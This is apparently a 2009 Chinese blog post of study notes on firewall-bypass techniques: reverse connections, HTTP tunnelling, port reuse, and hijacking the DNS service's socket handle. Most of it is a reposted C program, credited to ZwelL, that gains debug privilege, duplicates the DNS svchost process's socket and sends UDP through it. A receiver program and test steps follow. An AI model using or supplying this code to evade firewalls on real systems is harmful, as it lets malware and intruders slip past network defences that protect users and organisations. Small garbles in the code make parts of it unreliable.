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几种穿透防火墙技术 by孤独浪子

2009-12-16 10:53 211 查看

以下是本人对几种穿透技术学习笔记和一点自己的想法:
防火墙是基本网络安全策略之一，它可以阻止不信任的外部网络用户对内部网络用户的访问，如果外网用户同内网用户之间的通信由外网用户发起，通信通常会被防火墙阻断，尤其是对TCP连接敏感，因此我们如果才能保证正常的数据传输呢，特别是非主动连接情况下，怎么保证连接和数据通信的安全稳定性呢？
人们使用穿透防火墙技术（常用）：

1.反向连接------>由内网用户发起的连接请求，在防火墙规则下，是允许安全的

2.HTTP隧道技术------>就是吧所有要传送的数据全部封装到Http协议里进行传送

3.端口复用技术------>也称端口劫持技术，。其原理主要是通过修改套接字属性来实现端口重绑定，这种技术在接受外来数据包的时候通常是由主机进行转化，然后用户接受的

4.共享DNS套接字句柄技术------>这主要是使用了dns服务是所有防火墙免疫的功能来实现的，同时DNS套接字句柄技术最大的特点还是才用UDP通信的（后面将通过引用ZwelL的一些代码来说明）

今天我们主要介绍几种组合的穿透防火墙技术

1.反向连接与HTTP隧道技术
反向连接是由内部网络用户主动发起的连接请求，在防火墙规则下是合法的，假设现在有程序S,C

S---->代理------>C 服务端程序s由内部网络发起对C连接请求，通过代理服务器获取相应的IP和端口
<-----(ip,port) 建立socket套接字，设置端口号：80 80 ------------- ============ ===========当C/S建立连接后，进行数据传送的时候，这个时候我们使用HTTP隧道技术，将所有要传输的数据头经过HTTP协议封装，加个HTTP请求头："Get/HTTP/1.0\r\nUse-Agent:Molliza/1.22\r\nAccept:*/*\r\n\r\n",同时在数据后面加上$$标记，用户在接受到数据的时程序根据预先设定的标记找到数据段，去除HTTP请求头，再把数据交由程序进行处理采用反向连接+HTTP隧道技术也存在很多局限性 1.采用的端口号为80 2.利用HTTP隧道传输数据需要对数据进行HTTP封装，在混乱的HTTP隧道不能完全保证数据的完整性和安全性,对数据的解封也是一些需要考虑的问题 3.采用数据采集工具和像IS那样的工具可以检测出来 4.防火墙不是傻子，所以规则由时候是不能由我们去改变的如何可以的吗，我们希望是让S程序为我们自动做个第三方端口映射，而此时第三的稳定性成为了我们的.......... 2.共享DNS套接字句柄技术这个技术大家在05的时候就应该有所闻了，那是ZwelL发表在安焦上的一篇“一种新的穿透防火墙技术”里面采用的就是利用了dns服务是UDP通信同时又是所有防火墙所不能拒绝的....... 该技术使用了win终端服务库所提供的API函数大概的流程：
利用wstapi中提供的函数列举所有系统进程----->查找目标进程或目标服务进程----->记录保存目标进程的PID------>利用获取的PID得到套接字句柄---->创建套接字进行通信 ============具体实现代码：以下引用ZwelL关于一种.....代码==================
/*++

Made By ZwelL
zwell@sohu.com
2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;

if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
printf( "GetModuleHandle() failed");
return( FALSE );
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;

LocateNtdllEntry_exit:

if ( FALSE == ret )
{
printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return( ret );
}

/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
return false;
strcpy(szUserName, "?");

SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser = _MAX_PATH;
PDWORD pcchUser = &chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain = _MAX_PATH;
PDWORD pcchDomain = &chDomain;

// Retrieve user name and domain name based on user's SID.
if (
::LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName, "%s", szUser);
}
else
{
return false;
}

return true;
}

/*++

This routine is used to get the DNS process's Id

Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD ProcessCount = 0;
char szUserName[255];
DWORD Id = -1;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
{

if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
{
GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
if( strcmp(szUserName, "NETWORK SERVICE") == 0)
{
Id = pProcessInfo[CurrentProcess].ProcessId;
break;
}
}
}

WTSFreeMemory(pProcessInfo);
}

return Id;
}

/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
HANDLE hProcess = NULL,
hAccessToken = NULL;
TCHAR InfoBuffer[1000], szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
SID_NAME_USE snu;

hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
if(hProcess == NULL)
{
printf("OpenProcess wrong");
CloseHandle(hProcess);
return false;
}

if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
{
printf("OpenProcessToken wrong:%08x", GetLastError());
return false;
}

GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
1000, &dwInfoBufferSize);

LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);

if(hProcess)
CloseHandle(hProcess);
if(hAccessToken)
CloseHandle(hAccessToken);
return true;
}*/

/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
HANDLE sock = NULL;
DWORD n;

buf=malloc(0x1000);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
free(buf);
buf=malloc(n);
if(buf == NULL)
{
printf("malloc wrong\n");
return NULL;
}
status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation wrong\n");
return NULL;
}

NumOfHandle = *(ULONG*)buf;

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for(i = 0; i<NumOfHandle ;i++)
{
try
{
if( ( h_info.ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )
&& (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
// So I jump over this situation...
// May be it's different in your system,
) //wind2000 is 0x1a
{
//printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
if( 0 == DuplicateHandle(
OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
(HANDLE)h_info[i].Handle,
GetCurrentProcess(),
&sock,
STANDARD_RIGHTS_REQUIRED,
true,
DUPLICATE_SAME_ACCESS)
)
{
printf("DuplicateHandle wrong:%8x", GetLastError());
continue;
}

//printf("DuplicateHandle ok\n");
sockaddr_in name = {0};
name.sin_family = AF_INET;
int namelen = sizeof(sockaddr_in);
getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
//printf("PORT=%5d\n", ntohs( name.sin_port ));
if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
break;
}
}
catch(...)
{
continue;
}
}

if ( buf != NULL )
{
free( buf );
}
return (SOCKET)sock;
}

/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);

rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

void main()
{
WSADATA wsaData;
char testbuf[255];
SOCKET sock;
sockaddr_in RecvAddr;

int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");

if(!LocateNtdllEntry())
return;

if(!EnablePrivilege (SE_DEBUG_NAME))
{
printf("EnablePrivilege wrong\n");
return;
}

sock = GetSocketFromId(GetDNSProcessId());
if( sock==NULL)
{
printf("GetSocketFromId wrong\n");
return;
}

//Change there value...
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(5555);
RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

if(SOCKET_ERROR == sendto(sock,
"test",
5,
0,
(SOCKADDR *) &RecvAddr,
sizeof(RecvAddr)))
{
printf("sendto wrong:%d\n", WSAGetLastError());
}
else
{
printf("send ok... Have fun, right? ^_^\n");
}

getchar();

//WSACleanup();
return;
}

很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.

再用下面的代码测试:

/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
int Port = 5555;
char RecvBuf[1024];
int BufLen = 1024;
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof(SenderAddr);

//-----------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);

//-----------------------------------------------
// Create a receiver socket to receive datagrams
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

//-----------------------------------------------
// Bind the socket to any address and the specified port.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// on the bound socket.
printf("Receiving datagrams...\n");
while(1)
{
recvfrom(RecvSocket,
RecvBuf,
BufLen,
0,
(SOCKADDR *)&SenderAddr,
&SenderAddrSize);
printf("%s\n", RecvBuf);
}

//-----------------------------------------------
// Close the socket when finished receiving datagrams
printf("Finished receiving. Closing socket.\n");
closesocket(RecvSocket);

//-----------------------------------------------
// Clean up and exit.
printf("Exiting.\n");
WSACleanup();
return;
}
===========================================================
测试步骤:
1. 在一台机器上执行UdpReceiver,

2. 在安装防火墙的机器上执行第一个程序.
以上就是我的学习笔记了，希望对你有帮助，目前正在组合一些大牛们的想法，正在思考一种新的穿透防火墙的数据传输技术[/i][/i][/i][/i][/i]

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